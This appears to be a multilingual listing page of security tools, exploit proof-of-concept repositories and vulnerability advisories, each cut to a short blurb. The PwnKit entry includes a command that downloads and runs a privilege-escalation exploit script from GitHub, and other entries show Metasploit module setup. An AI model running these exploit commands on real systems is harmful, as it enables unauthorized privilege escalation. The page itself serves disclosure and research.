CVE-2023-26067

CVE-2023-34362 POCs para volcado de credenciales, shells inversas y reproducción de música abusando de una inyección de comandos, CVE-2023-26067, que afecta a impresoras Lexmark. Análisis Técnico Un análisis técnico de la causa raíz de la vulnerabilidad se puede encontrar en nuestro blog:...

CVE-2022-47966

CVE-2022-47966 针对以下 ManageEngine 产品的 CVE-2022-47966 的 POC： Access Manager Plus Active Directory 360 ADAudit Plus ADManager Plus ADSelfService Plus Analytics Plus Application Control Plus Asset Explorer Browser Security Plus Device Control Plus Endpoint Central Endpoint Central MSP Endpoint DLP Ke...

CVE-2019-0708-EXP-MSF-

CVE-2019-0708-EXP-MSF- CVE-2019-0708-EXPMSF Vulnerability exploit program for cve-2019-0708 要求msf版本在5.0.4以上 root@kitploit: mkdir -p /usr/share/metasploit-framework/modules/exploit/windows/rdp/ mkdir -p /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ mkdir -p...

CVE-2022-22972

CVE-2022-22972 CVE-2022-22972 の POC。VMware Workspace ONE、vIDM、および vRealize Automation 7.6 に影響します。 Technical Analysis 脆弱性の技術的な根本原因分析は、当社のブログでご覧いただけます: https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive Summary このスクリプトは、CVE-2022-22972 を使用して vRealiz...

witcher

witcher Appsecコントロールを大規模に実装・監視します。 必要条件 NodeJS 20.13 テスト済み環境 Mac Ubuntu インストール方法 root@kitploit: $ git clone [email protected]:mf-labs/witcher.git $ cd witcher $ npm i Dockerイメージのビルド root@kitploit: $ git clone [email protected]:mf-labs/witcher.git $ cd witcher $ docker build -t witcher...

PwnKit

PwnKit CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升 用法 在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击的 Linux 发行版上应可开箱即用。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手动使用 root@kitploit: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o...

OSINT-Cheat-sheet

OSINT チートシート - OSINT ツール一覧 OSINTツール、OSINTのヒント、データセット、Maltegoトランスフォームなどのリストを含みます。無料および有料のツールがあり、所有者は責任を負いません（自己責任で使用してください）。知識または教育目的のみです。一部のリソースがもう利用できなくなっていたり、誤りが含まれている場合はご容赦ください。所有者はこれらのリソースの状態を定期的にチェックしていません。新しい情報があれば、所有者はカテゴリとともにこのリポジトリに追加します。テクニックやインテリジェンスについて読みたい場合は、いくつかはすでにWikiページ Jieyaboo...

CVE-2017-3078

CVE-2017-3078 关于 CVE-2017-3078 的描述 Adobe 已发布适用于 Windows、Macintosh、Linux 和 Chrome OS 的 Adobe Flash Player 安全更新。这些更新修复了可能允许攻击者控制受影响系统的严重漏洞。 描述 2 : Adobe Flash Player 25.0.0.171 及更早版本在 Adobe 纹理格式（ATF）模块中存在可利用的内存损坏漏洞。成功利用可能导致任意代码执行。 受影响：Windows + Linux 系统 Linux !! Redhat Enterprise Linux Workstation...

vulnx

vulnx 用于探索漏洞数据的现代 CLI，支持强大的搜索、过滤和分析功能 快速开始 root@kitploit: 1. Get vulnx go install github.com/projectdiscovery/vulnx/v2/cmd/vulnx@latest 2. Explore commands vulnx --help vulnx search --help 3. Start exploring vulnerabilities no API key required vulnx filters See all available search fields vulnx...

CVE-2016-7255

CVE-2016-7255 Microsoft Windows Vista SP2、Windows Server 2008 SP2 和 R2 SP1、Windows 7 SP1、Windows 8.1、Windows Server 2012 Gold 和 R2、Windows RT 8.1、Windows 10 Gold、1511 和 1607 以及 Windows Server 2016 中的内核模式驱动程序允许本地用户通过特制的应用程序获取权限，又称“Win32k Elevation of Privilege Vulnerability”。 来自利比亚的 Gihad Security...

EUVD-2026-66114

Mesop is a Python-based UI framework that allows users to build web applications. Prior to 1.3.3, applications running in debug mode expose a GET /hot-reload endpoint whose unbounded loop depends on the user-supplied counter parameter, allowing an unauthenticated attacker to hold worker threads...

CVE-2023-36899

CVE-2023-36899 CVE-2023-36899 脆弱性の再現環境とツール。ASP.NET Framework におけるクッキーレスセッション認証バイパスに関するもの。 Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework CVE-2023-36899 現代のWeb開発では、セッションIDを転送する方法としてクッキーが好まれますが、.NET Framework は別の方法も提供しています。それは、セッションIDをURLに直接エンコードする方法です。この技術は、.NET...

Log4Shell-Vulnerability-Replication

CVE-2021-44228 Log4Shell 漏洞完整复现记录 本记录基于 Vulhub 提供的 Apache Solr 8.11.0 靶场，完整复现了 Log4j2 JNDI 注入漏洞，成功通过 DNSLog 和本地 LDAP 监听验证漏洞存在性。 一、实验环境 - 操作系统：Windows 11 + WSL2 Ubuntu - 容器平台：Docker Desktop 4.76 - 靶场来源：Vulhub vulhub/log4j/CVE-2021-44228 - 目标服务：Apache Solr 8.11.0（含 log4j-core 2.14.1） -...

CVE-2023-21837

CVE-2023-21837 POC,EXP, chatGPT for me コード root@kitploit: import socket CVE-2023-21837 def checkvulnerabilitytargethost, targetport: create socket object s = socket.socketsocket.AFINET, socket.SOCKSTREAM set timeout to 30 seconds s.settimeout30 try: connect to target s.connecttargethost, targetpo...

CVE-2022-0847

CVE-2022-0847 CVE-2022-0847 POC リンク：https://dirtypipe.cm4all.com/ 環境の再現 root@kitploit: The vulnerability exists in Ubuntu kernel versions starting from v5.8 all the way up to 5.15 like Linux 5.14.0-9parrot1-amd64 Linux kali 5.10.0-kali7-amd64 1 SMP Debian 5.10.28-1kali1 2021-04-12 x8664 GNU/Linux...

EUVD-2026-66113

The MCP PHP SDK Composer package mcp/sdk is the official Model Context Protocol SDK for PHP. In versions 0.5.0 through 0.7.0, the HTTP client transport reads a Server-Sent Events response stream incrementally and appends each chunk to an in-memory buffer with no upper bound. The buffer is only...

EUVD-2026-66112

A flaw was found in the file-xwd plugin in GIMP. When processing a specially crafted XWD image file, the plugin validates the image width and bytes-per-line parameters independently rather than ensuring their combined values are consistent with the allocated buffer size. This incorrect validation...

EUVD-2026-66111

An algorithmic complexity flaw exists in libsoup's HTTP Range header processing that persists after the CVE-2025-32907 fix. CVE-2025-32907 addressed memory amplification when a client repeated the same range many times in a single Range header. Commit 9bb92f7a corrected merge correctness in...

CVE-2026-80101

A flaw was found in the file-xwd plugin in GIMP. When processing a specially crafted XWD image file, the plugin validates the image width and bytes-per-line parameters independently rather than ensuring their combined values are consistent with the allocated buffer size. This incorrect validation...

CVE-2024-6387-Vulnerability-Checker

CVE-2024-6387 脆弱性チェッカー 概要 このPythonスクリプトは、SSHサーバーがCVE-2024-6387脆弱性の影響を受けるかどうかをチェックするために設計されており、特に最近発見されたregreSSHion を対象としています。この脆弱性は特定のバージョンのOpenSSHに関連しています。このツールは複数のIPアドレス、URL、CIDRレンジ、ポートをサポートし、ファイルからアドレスを読み取ることもできます。結果はカテゴリ別に色分けされて表示され、可読性が向上します。 機能 カスタマイズ可能 : 複数のIPアドレス、URL、CIDRレンジ、ポートを指定できます。...